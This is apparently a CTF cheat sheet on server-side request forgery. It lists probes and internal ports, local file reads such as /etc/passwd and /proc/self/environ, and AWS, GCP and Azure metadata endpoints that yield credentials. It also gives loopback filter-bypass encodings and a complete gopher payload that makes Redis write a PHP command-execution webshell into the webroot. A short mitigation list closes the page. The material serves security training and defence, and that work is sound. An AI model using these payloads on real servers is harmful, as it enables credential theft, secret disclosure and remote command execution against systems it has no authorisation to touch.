Server-Side Request Forgery (SSRF)

SSRF tricks a server into making network requests on your behalf. In CTFs this is used to probe internal services, retrieve local files (flags), or talk to cloud metadata APIs to obtain credentials.

Quick summary

-+- What it is: an input causes the server to fetch a URL you control (or internal resources).

• Where to look: any parameter that accepts a URL (url=, img=, redirect=, fetch=, webhook=), file previews, or data import features.
• Typical impact: internal service enumeration, local file read, cloud metadata leakage, remote command execution via protocol handlers (gopher).

Detection - quick probes

1. Find inputs that accept URLs or cause the server to fetch external content.
2. Point the parameter at a collaborator/webhook (Burp Collaborator, webhook.site) and check for callbacks.
3. If you have a callback, try probing internal addresses (loopback, link-local, common ports).

Example test:

?url=https://YOUR-COLLABORATOR-URL.example

If the server calls back, SSRF is confirmed.

Common internal targets & ports

Loopback addresses to try: http://127.0.0.1/, http://localhost/, http://[::1]/.

Common ports:

-- 22 - SSH (banner) -- 80/8080 - internal HTTP services -- 3306 - MySQL -- 6379 - Redis -- 9200 - Elasticsearch -- 5432 - PostgreSQL -- 8888 - Jupyter

Probe with URLs like http://127.0.0.1:9200/ to discover services.

Local file reads

If the server supports file:// or includes local file handling, try:

file:///etc/passwd
file:///flag.txt
file:///proc/self/environ
file:///var/www/html/index.php

Cloud metadata endpoints (high value)

Cloud metadata services often expose credentials; test carefully and only in CTFs or authorized environments.

AWS (EC2):

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

GCP:

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure:

http://169.254.169.254/metadata/instance?api-version=2021-02-01

Use short, targeted requests to avoid noisy, destructive probes.

Bypass techniques (quick list)

When 127.0.0.1 / localhost are filtered, try alternate encodings and tricks:

• Decimal IP: http://2130706433/ (== 127.0.0.1)
• Hex: http://0x7f000001/
• Octal: http://0177.0.0.1/
• IPv6 loopback: http://[::1]/
• DNS rebinding / nip.io: 127.0.0.1.nip.io
• Partial hostnames with attacker-controlled A records pointing to internal IP
• URL-encoding: http://%31%32%37%2E0%2E0%2E1/
• 0 shorthand: http://0/ (may resolve to 127.0.0.1 on some systems)

These bypasses exploit how servers parse hostnames and IPs - try multiple variants.

Gopher and protocol handlers (Redis example)

If SSRF accepts non-HTTP schemes and the server can make gopher:// requests, you can talk to text-based services (Redis, SMTP) directly. Example Redis payload that writes a PHP file to webroot (CTF-only example):

gopher://127.0.0.1:6379/_%0d%0aSET%20myshell%20%22%3C%3Fphp%20system(%24_GET%5B'cmd'%5D)%3B%20%3F%3E%22%0d%0aCONFIG%20SET%20DIR%20/var/www/html%0d%0aCONFIG%20SET%20DBFILENAME%20shell.php%0d%0aSAVE%0d%0a

If successful, the application writes shell.php and you can execute commands via http://app/shell.php?cmd=id - only relevant in CTFs with intentionally vulnerable targets.

SSRF chaining: SSTI, XXE, and internal admin pages

SSRF can reach internal admin endpoints, trigger deserialization, or hit template engines that accept remote input (SSTI). If you find an internal management URL, try targeted payloads for SSTI or XXE if those services are present.

CTF Quick Start (step-by-step)

1. Find candidate inputs that accept URLs or file paths.
2. Send a collaborator/webhook URL and confirm callbacks.
3. If confirmed, probe internal targets and metadata endpoints one at a time.
4. Use encoding bypasses if direct names are filtered.
5. If protocol handlers are allowed (gopher), craft service-specific payloads (Redis, SMTP).
6. Capture results and extract flags/credentials.

Mitigations (how to fix SSRF)

• Whitelist outbound destinations: only allow specific hosts and schemes.
• Deny requests to private IP ranges and loopback addresses at the application or network layer.
• Disable support for dangerous URL schemes (gopher, file, dict, etc.).
• Validate and normalize user-supplied URLs before fetching; resolve DNS and check IPs against allowlist.
• Use a proxy that enforces egress controls and blocks internal network ranges.
• For cloud metadata: use IMDSv2 (token-based) and avoid attaching sensitive roles to web-facing instances.

Payload snippets

• Collaborator probe: ?url=https://YOUR-COLLABORATOR.example
• Local file: ?file=file:///flag.txt
• IPv4 decimal bypass: ?url=http://2130706433/
• Redis gopher (write webshell): see example above (CTF-only)

Last updated on Aug 1, 2025